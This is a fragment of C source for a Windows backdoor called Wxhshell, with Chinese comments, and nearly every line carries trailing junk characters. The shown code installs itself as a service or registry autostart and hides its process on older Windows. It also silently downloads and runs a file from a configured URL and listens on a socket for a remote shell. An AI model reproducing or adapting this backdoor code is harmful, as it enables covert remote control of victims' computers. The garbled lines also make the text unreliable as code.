ULONG UniqueProcessId; Eh*t;J=O
ULONG InheritedFromUniqueProcessId; Yvbk[Rb
} PROCESS_BASIC_INFORMATION; [5O`
Isna
KcLM
PROCNTQSIP NtQueryInformationProcess; AiE\PMF~{P
s#2<^6
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \~ql_X;3
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; h<ULp&g
WA&&*ae5`
HANDLE hProcess; \NI0rL
PROCESS_BASIC_INFORMATION pbi; 8`S6BkfC|
PS${B
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0&k!=gj:>Z
if(NULL == hInst ) return 0; cgvD>VUw
J 8""}7D
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $bv l.c
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~PAbtY9}U
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ZUxlk+o9d
!ii'hwFm$
if (!NtQueryInformationProcess) return 0; oHI/tS4
_
]psx\ZMa
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); e:H9!
if(!hProcess) return 0; SuU %x2
b$Ch2Qz0q
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8NS1* \z
RIQw+RG>
CloseHandle(hProcess); _$Hx:^p:
[6Nw)r(a(
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <dA1n:3o
if(hProcess==NULL) return 0; 7/$s!pV
A"8"e*
HMODULE hMod; '5n67Hl 1
char procName[255]; (xhwl=MX)
unsigned long cbNeeded; :5M7*s)e16
xHMbtY
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); K@PQLL#yJp
lC&B4zec
CloseHandle(hProcess); /P-Eg86V'
umo@JWr
if(strstr(procName,"services")) return 1; // 以服务启动 fsDwfwil*
>IzUn: 0F
return 0; // 注册表启动 td6$w:SN,l
} @xI:ZtM
4[]/
// 主模块 "x)xjL
int StartWxhshell(LPSTR lpCmdLine) #=hI}%n
{ @]0;aZ{3
SOCKET wsl; B "z`X!\
BOOL val=TRUE; T]fu[yRVvg
int port=0; Cp@'
k;(
struct sockaddr_in door; ?]#U~M<'
Aj;F$(su
if(wscfg.ws_autoins) Install(); G`HL^/Z*
IO\>U(:vx
port=atoi(lpCmdLine); W l+[{#
uKcwVEu
if(port<=0) port=wscfg.ws_port; uM^eoh_
m% {4
WSADATA data; =tv,B3Mo
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1E*No1
0`
{6~p
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; F9Ag687w
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); rK\)
door.sin_family = AF_INET; :OVre*j
door.sin_addr.s_addr = inet_addr("127.0.0.1"); -K_p?
l
door.sin_port = htons(port); <6s?M1J
BWct0=
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !)(c_ uz
closesocket(wsl); . .|>|X4
return 1; :|:Disg
} @ KhDQ0v]5
a JC,
if(listen(wsl,2) == INVALID_SOCKET) { +hIStA
closesocket(wsl); }!i#1uHUH:
return 1; w<hw>e^.
} 9;^ r
Wxhshell(wsl); )-_]y|/D:r
WSACleanup(); \P;%fN
aF9p%HPDw
return 0; ?_L)|:WL
5UQz6DK
} [`~E)B1Y
>h0iq
// 以NT服务方式启动 R`wL%I!?f
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6_m5%c~;+r
{ \tj7Jy
DWORD status = 0; "Z&-:1tP{9
DWORD specificError = 0xfffffff; #S/]=D
hZE" 8%\q
serviceStatus.dwServiceType = SERVICE_WIN32; f;C*J1y
serviceStatus.dwCurrentState = SERVICE_START_PENDING; p`)GO.pz
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; n4cM
/unU
serviceStatus.dwWin32ExitCode = 0; vap,)kILF
serviceStatus.dwServiceSpecificExitCode = 0; MqBA?7
serviceStatus.dwCheckPoint = 0; !TH3oLd"
serviceStatus.dwWaitHint = 0; *Op;].>E
fAu^eS%>7
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^
2"r't
if (hServiceStatusHandle==0) return; nVF?.c
Dk!;s8}*c
status = GetLastError(); ^T[8j/9o^
if (status!=NO_ERROR) eC^UL5>%
{ :Rh?#yO5
serviceStatus.dwCurrentState = SERVICE_STOPPED; p`jkyi
serviceStatus.dwCheckPoint = 0; bqHR~4 #IR
serviceStatus.dwWaitHint = 0; 2g elmQnc
serviceStatus.dwWin32ExitCode = status; FC:Z9 {2!
serviceStatus.dwServiceSpecificExitCode = specificError; B&~#.<23:
SetServiceStatus(hServiceStatusHandle, &serviceStatus); R\%&Q|
return; 2nW:|*:/p6
} 3[g%T2&[
S <C'#vj
serviceStatus.dwCurrentState = SERVICE_RUNNING;
p&SxR}h
serviceStatus.dwCheckPoint = 0; j~(s3pSCo
serviceStatus.dwWaitHint = 0; d%:B,bck
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2NHkK_B1P
} M^c`j#NQ
B>&Q]J+R
// 处理NT服务事件,比如:启动、停止 uT'}_2=:
VOID WINAPI NTServiceHandler(DWORD fdwControl) x=g=e
<_
{ RKu'WD?sdH
switch(fdwControl) 2sj[hI
{ O,`#h*{N
case SERVICE_CONTROL_STOP: /DG+8u
serviceStatus.dwWin32ExitCode = 0; qB57w:J
serviceStatus.dwCurrentState = SERVICE_STOPPED; ^ lrq`1k
serviceStatus.dwCheckPoint = 0; (!72Eaw:]
serviceStatus.dwWaitHint = 0; .E'Tfa
{ CdCo+U5z{
SetServiceStatus(hServiceStatusHandle, &serviceStatus); B{UL(6\B
} sb Wn1 T
U
return; 9`P<|(
case SERVICE_CONTROL_PAUSE: Gkz\By
serviceStatus.dwCurrentState = SERVICE_PAUSED; >h^CC*&'pw
break; u^DfRd&P0
case SERVICE_CONTROL_CONTINUE: LUGyc( h
serviceStatus.dwCurrentState = SERVICE_RUNNING; DJxe3<
break; :DI``]Si\
case SERVICE_CONTROL_INTERROGATE: KMO(f!?
break; n[~kcF
}; zn| S3c
SetServiceStatus(hServiceStatusHandle, &serviceStatus); gnjh=anVX1
} :6k8\{^9"D
RRW/.y
// 标准应用程序主函数 u@j]U|FpY
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )HHG3cvU
{ fqoI(/RWP
S
VCTiG8t
// 获取操作系统版本 &cnciEw1
OsIsNt=GetOsVer(); pCXceNFo
GetModuleFileName(NULL,ExeFile,MAX_PATH); +Bg$]~T
Lnin;0~{
// 从命令行安装 a$0,T_wD
if(strpbrk(lpCmdLine,"iI")) Install(); Y>Oh]?
HeV6=
// 下载执行文件 ,$"*X-1
if(wscfg.ws_downexe) { ;VhilWaF-
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) h(q,-')l_
WinExec(wscfg.ws_filenam,SW_HIDE); z+ch-L^K4
} pKeK6K\8
-&N^S?
if(!OsIsNt) { <gvuCydsh
// 如果时win9x,隐藏进程并且设置为注册表启动 `w&Y[8+E
HideProc(); uw!w}1Y]}2
StartWxhshell(lpCmdLine); J7Z`wjX1
} L5(7;
else RO>3U2
if(StartFromService()) uY{zZ4iw
// 以服务方式启动 }BTK+Tk8
StartServiceCtrlDispatcher(DispatchTable); 0;Lt
else ,8=`Y9#
// 普通方式启动 /W vF}y
StartWxhshell(lpCmdLine); ]q#w97BxiJ
~ IPel
return 0; iLQFce7d|&
}